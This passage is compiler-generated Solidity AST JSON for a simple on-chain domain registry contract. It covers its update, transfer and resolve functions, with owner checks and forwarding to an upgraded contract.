contract.\"},\"id\":145,\"name\":\"Literal\",\"src\":\"1866:37:1\"}],\"id\":146,\"name\":\"FunctionCall\",\"src\":\"1837:67:1\"}],\"id\":147,\"name\":\"ExpressionStatement\",\"src\":\"1837:67:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"update\",\"referencedDeclaration\":1443,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":148,\"name\":\"Identifier\",\"src\":\"1909:4:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":123,\"type\":\"contract IDNS\",\"value\":\"to\"},\"id\":149,\"name\":\"Identifier\",\"src\":\"1914:2:1\"}],\"id\":150,\"name\":\"FunctionCall\",\"src\":\"1909:8:1\"}],\"id\":151,\"name\":\"MemberAccess\",\"src\":\"1909:15:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":114,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":152,\"name\":\"Identifier\",\"src\":\"1925:7:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":116,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":153,\"name\":\"Identifier\",\"src\":\"1934:3:1\"}],\"id\":154,\"name\":\"FunctionCall\",\"src\":\"1909:29:1\"}],\"id\":155,\"name\":\"ExpressionStatement\",\"src\":\"1909:29:1\"},{\"attributes\":{\"functionReturnParameters\":119},\"id\":156,\"name\":\"Return\",\"src\":\"1943:7:1\"}],\"id\":157,\"name\":\"Block\",\"src\":\"1783:171:1\"}],\"id\":158,\"name\":\"IfStatement\",\"src\":\"1770:184:1\"},{\"attributes\":{\"assignments\":[160]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"entry\",\"scope\":187,\"stateVariable\":false,\"storageLocation\":\"storage\",\"type\":\"struct IDNS.Entry\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":159,\"name\":\"UserDefinedTypeName\",\"src\":\"1958:5:1\"}],\"id\":160,\"name\":\"VariableDeclaration\",\"src\":\"1958:19:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":13,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":161,\"name\":\"Identifier\",\"src\":\"1980:4:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":114,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":162,\"name\":\"Identifier\",\"src\":\"1985:7:1\"}],\"id\":163,\"name\":\"IndexAccess\",\"src\":\"1980:13:1\"}],\"id\":164,\"name\":\"VariableDeclarationStatement\",\"src\":\"1958:35:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963\",\"typeString\":\"literal_string \\\"Not the owner.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":165,\"name\":\"Identifier\",\"src\":\"1997:7:1\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":160,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":166,\"name\":\"Identifier\",\"src\":\"2005:5:1\"}],\"id\":167,\"name\":\"MemberAccess\",\"src\":\"2005:11:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":168,\"name\":\"Identifier\",\"src\":\"2020:3:1\"}],\"id\":169,\"name\":\"MemberAccess\",\"src\":\"2020:10:1\"}],\"id\":170,\"name\":\"BinaryOperation\",\"src\":\"2005:25:1\"},{\"attributes\":{\"hexvalue\":\"4e6f7420746865206f776e65722e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Not the owner.\\\"\",\"value\":\"Not the owner.\"},\"id\":171,\"name\":\"Literal\",\"src\":\"2032:16:1\"}],\"id\":172,\"name\":\"FunctionCall\",\"src\":\"1997:52:1\"}],\"id\":173,\"name\":\"ExpressionStatement\",\"src\":\"1997:52:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e\",\"typeString\":\"literal_string \\\"Invalid ip.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":174,\"name\":\"Identifier\",\"src\":\"2053:7:1\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":116,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":175,\"name\":\"Identifier\",\"src\":\"2061:3:1\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":176,\"name\":\"Literal\",\"src\":\"2068:1:1\"}],\"id\":177,\"name\":\"BinaryOperation\",\"src\":\"2061:8:1\"},{\"attributes\":{\"hexvalue\":\"496e76616c69642069702e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid ip.\\\"\",\"value\":\"Invalid ip.\"},\"id\":178,\"name\":\"Literal\",\"src\":\"2071:13:1\"}],\"id\":179,\"name\":\"FunctionCall\",\"src\":\"2053:32:1\"}],\"id\":180,\"name\":\"ExpressionStatement\",\"src\":\"2053:32:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":160,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":181,\"name\":\"Identifier\",\"src\":\"2089:5:1\"}],\"id\":183,\"name\":\"MemberAccess\",\"src\":\"2089:8:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":116,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":184,\"name\":\"Identifier\",\"src\":\"2100:3:1\"}],\"id\":185,\"name\":\"Assignment\",\"src\":\"2089:14:1\"}],\"id\":186,\"name\":\"ExpressionStatement\",\"src\":\"2089:14:1\"}],\"id\":187,\"name\":\"Block\",\"src\":\"1699:408:1\"}],\"id\":188,\"name\":\"FunctionDefinition\",\"src\":\"1630:477:1\"},{\"attributes\":{\"baseFunctions\":[1451],\"functionSelector\":\"fbf58b3e\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"transfer\",\"scope\":308,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":194,\"name\":\"OverrideSpecifier\",\"src\":\"2176:8:1\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":267,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":189,\"name\":\"ElementaryTypeName\",\"src\":\"2128:6:1\"}],\"id\":190,\"name\":\"VariableDeclaration\",\"src\":\"2128:21:1\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_owner\",\"scope\":267,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":191,\"name\":\"ElementaryTypeName\",\"src\":\"2151:7:1\"}],\"id\":192,\"name\":\"VariableDeclaration\",\"src\":\"2151:14:1\"}],\"id\":193,\"name\":\"ParameterList\",\"src\":\"2127:39:1\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":195,\"name\":\"ParameterList\",\"src\":\"2185:0:1\"},{\"children\":[{\"attributes\":{\"assignments\":[197,199]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"upgrade\",\"scope\":266,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":196,\"name\":\"ElementaryTypeName\",\"src\":\"2190:4:1\"}],\"id\":197,\"name\":\"VariableDeclaration\",\"src\":\"2190:12:1\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"to\",\"scope\":266,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":198,\"name\":\"UserDefinedTypeName\",\"src\":\"2204:4:1\"}],\"id\":199,\"name\":\"VariableDeclaration\",\"src\":\"2204:7:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bool,contract IDNS)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"activeUpgrade\",\"referencedDeclaration\":1886,\"type\":\"function (address) view external returns (bool,contract IDNS)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":16,\"type\":\"contract Upgrade\",\"value\":\"upgradeInfo\"},\"id\":200,\"name\":\"Identifier\",\"src\":\"2215:11:1\"}],\"id\":201,\"name\":\"MemberAccess\",\"src\":\"2215:25:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":202,\"name\":\"Identifier\",\"src\":\"2241:3:1\"}],\"id\":203,\"name\":\"MemberAccess\",\"src\":\"2241:10:1\"}],\"id\":204,\"name\":\"FunctionCall\",\"src\":\"2215:37:1\"}],\"id\":205,\"name\":\"VariableDeclarationStatement\",\"src\":\"2189:63:1\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":197,\"type\":\"bool\",\"value\":\"upgrade\"},\"id\":206,\"name\":\"Identifier\",\"src\":\"2260:7:1\"},{\"children\":[{\"attributes\":{\"assignments\":[null,208]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"owner\",\"scope\":233,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":207,\"name\":\"ElementaryTypeName\",\"src\":\"2276:7:1\"}],\"id\":208,\"name\":\"VariableDeclaration\",\"src\":\"2276:13:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":1461,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":209,\"name\":\"Identifier\",\"src\":\"2293:4:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":199,\"type\":\"contract IDNS\",\"value\":\"to\"},\"id\":210,\"name\":\"Identifier\",\"src\":\"2298:2:1\"}],\"id\":211,\"name\":\"FunctionCall\",\"src\":\"2293:8:1\"}],\"id\":212,\"name\":\"MemberAccess\",\"src\":\"2293:16:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":190,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":213,\"name\":\"Identifier\",\"src\":\"2310:7:1\"}],\"id\":214,\"name\":\"FunctionCall\",\"src\":\"2293:25:1\"}],\"id\":215,\"name\":\"VariableDeclarationStatement\",\"src\":\"2274:44:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_bd6c1ce7819bd375b0951e8f24f62087ea6f8085ed8dd177eac2d51e7618d692\",\"typeString\":\"literal_string \\\"Not the owner in upgraded contract.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":216,\"name\":\"Identifier\",\"src\":\"2323:7:1\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":208,\"type\":\"address\",\"value\":\"owner\"},\"id\":217,\"name\":\"Identifier\",\"src\":\"2331:5:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":218,\"name\":\"Identifier\",\"src\":\"2340:3:1\"}],\"id\":219,\"name\":\"MemberAccess\",\"src\":\"2340:10:1\"}],\"id\":220,\"name\":\"BinaryOperation\",\"src\":\"2331:19:1\"},{\"attributes\":{\"hexvalue\":\"4e6f7420746865206f776e657220696e20757067726164656420636f6e74726163742e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Not the owner in upgraded contract.\\\"\",\"value\":\"Not the owner in upgraded contract.\"},\"id\":221,\"name\":\"Literal\",\"src\":\"2352:37:1\"}],\"id\":222,\"name\":\"FunctionCall\",\"src\":\"2323:67:1\"}],\"id\":223,\"name\":\"ExpressionStatement\",\"src\":\"2323:67:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"transfer\",\"referencedDeclaration\":1451,\"type\":\"function (string memory,address) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":224,\"name\":\"Identifier\",\"src\":\"2395:4:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":199,\"type\":\"contract IDNS\",\"value\":\"to\"},\"id\":225,\"name\":\"Identifier\",\"src\":\"2400:2:1\"}],\"id\":226,\"name\":\"FunctionCall\",\"src\":\"2395:8:1\"}],\"id\":227,\"name\":\"MemberAccess\",\"src\":\"2395:17:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":190,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":228,\"name\":\"Identifier\",\"src\":\"2413:7:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":192,\"type\":\"address\",\"value\":\"_owner\"},\"id\":229,\"name\":\"Identifier\",\"src\":\"2422:6:1\"}],\"id\":230,\"name\":\"FunctionCall\",\"src\":\"2395:34:1\"}],\"id\":231,\"name\":\"ExpressionStatement\",\"src\":\"2395:34:1\"},{\"attributes\":{\"functionReturnParameters\":195},\"id\":232,\"name\":\"Return\",\"src\":\"2434:7:1\"}],\"id\":233,\"name\":\"Block\",\"src\":\"2269:176:1\"}],\"id\":234,\"name\":\"IfStatement\",\"src\":\"2256:189:1\"},{\"attributes\":{\"assignments\":[236]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"entry\",\"scope\":266,\"stateVariable\":false,\"storageLocation\":\"storage\",\"type\":\"struct IDNS.Entry\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":235,\"name\":\"UserDefinedTypeName\",\"src\":\"2449:5:1\"}],\"id\":236,\"name\":\"VariableDeclaration\",\"src\":\"2449:19:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":13,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":237,\"name\":\"Identifier\",\"src\":\"2471:4:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":190,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":238,\"name\":\"Identifier\",\"src\":\"2476:7:1\"}],\"id\":239,\"name\":\"IndexAccess\",\"src\":\"2471:13:1\"}],\"id\":240,\"name\":\"VariableDeclarationStatement\",\"src\":\"2449:35:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963\",\"typeString\":\"literal_string \\\"Not the owner.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":241,\"name\":\"Identifier\",\"src\":\"2488:7:1\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":236,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":242,\"name\":\"Identifier\",\"src\":\"2496:5:1\"}],\"id\":243,\"name\":\"MemberAccess\",\"src\":\"2496:11:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":244,\"name\":\"Identifier\",\"src\":\"2511:3:1\"}],\"id\":245,\"name\":\"MemberAccess\",\"src\":\"2511:10:1\"}],\"id\":246,\"name\":\"BinaryOperation\",\"src\":\"2496:25:1\"},{\"attributes\":{\"hexvalue\":\"4e6f7420746865206f776e65722e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Not the owner.\\\"\",\"value\":\"Not the owner.\"},\"id\":247,\"name\":\"Literal\",\"src\":\"2523:16:1\"}],\"id\":248,\"name\":\"FunctionCall\",\"src\":\"2488:52:1\"}],\"id\":249,\"name\":\"ExpressionStatement\",\"src\":\"2488:52:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_7237b40c37ff5118ba1ddef24c550790af93dd9b94bae5bf99b9f4af8569f664\",\"typeString\":\"literal_string \\\"Invalid owner.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":250,\"name\":\"Identifier\",\"src\":\"2544:7:1\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":192,\"type\":\"address\",\"value\":\"_owner\"},\"id\":251,\"name\":\"Identifier\",\"src\":\"2552:6:1\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address payable\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":252,\"name\":\"ElementaryTypeName\",\"src\":\"2562:7:1\"}],\"id\":253,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"2562:7:1\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":254,\"name\":\"Literal\",\"src\":\"2570:1:1\"}],\"id\":255,\"name\":\"FunctionCall\",\"src\":\"2562:10:1\"}],\"id\":256,\"name\":\"BinaryOperation\",\"src\":\"2552:20:1\"},{\"attributes\":{\"hexvalue\":\"496e76616c6964206f776e65722e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid owner.\\\"\",\"value\":\"Invalid owner.\"},\"id\":257,\"name\":\"Literal\",\"src\":\"2574:16:1\"}],\"id\":258,\"name\":\"FunctionCall\",\"src\":\"2544:47:1\"}],\"id\":259,\"name\":\"ExpressionStatement\",\"src\":\"2544:47:1\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"address\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":236,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":260,\"name\":\"Identifier\",\"src\":\"2595:5:1\"}],\"id\":262,\"name\":\"MemberAccess\",\"src\":\"2595:11:1\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":192,\"type\":\"address\",\"value\":\"_owner\"},\"id\":263,\"name\":\"Identifier\",\"src\":\"2609:6:1\"}],\"id\":264,\"name\":\"Assignment\",\"src\":\"2595:20:1\"}],\"id\":265,\"name\":\"ExpressionStatement\",\"src\":\"2595:20:1\"}],\"id\":266,\"name\":\"Block\",\"src\":\"2185:434:1\"}],\"id\":267,\"name\":\"FunctionDefinition\",\"src\":\"2110:509:1\"},{\"attributes\":{\"baseFunctions\":[1461],\"functionSelector\":\"461a4478\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"resolve\",\"scope\":308,\"stateMutability\":\"view\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":271,\"name\":\"OverrideSpecifier\",\"src\":\"2676:8:1\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":307,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":268,\"name\":\"ElementaryTypeName\",\"src\":\"2639:6:1\"}],\"id\":269,\"name\":\"VariableDeclaration\",\"src\":\"2639:21:1\"}],\"id\":270,\"name\":\"ParameterList\",\"src\":\"2638:23:1\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":307,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":272,\"name\":\"ElementaryTypeName\",\"src\":\"2694:6:1\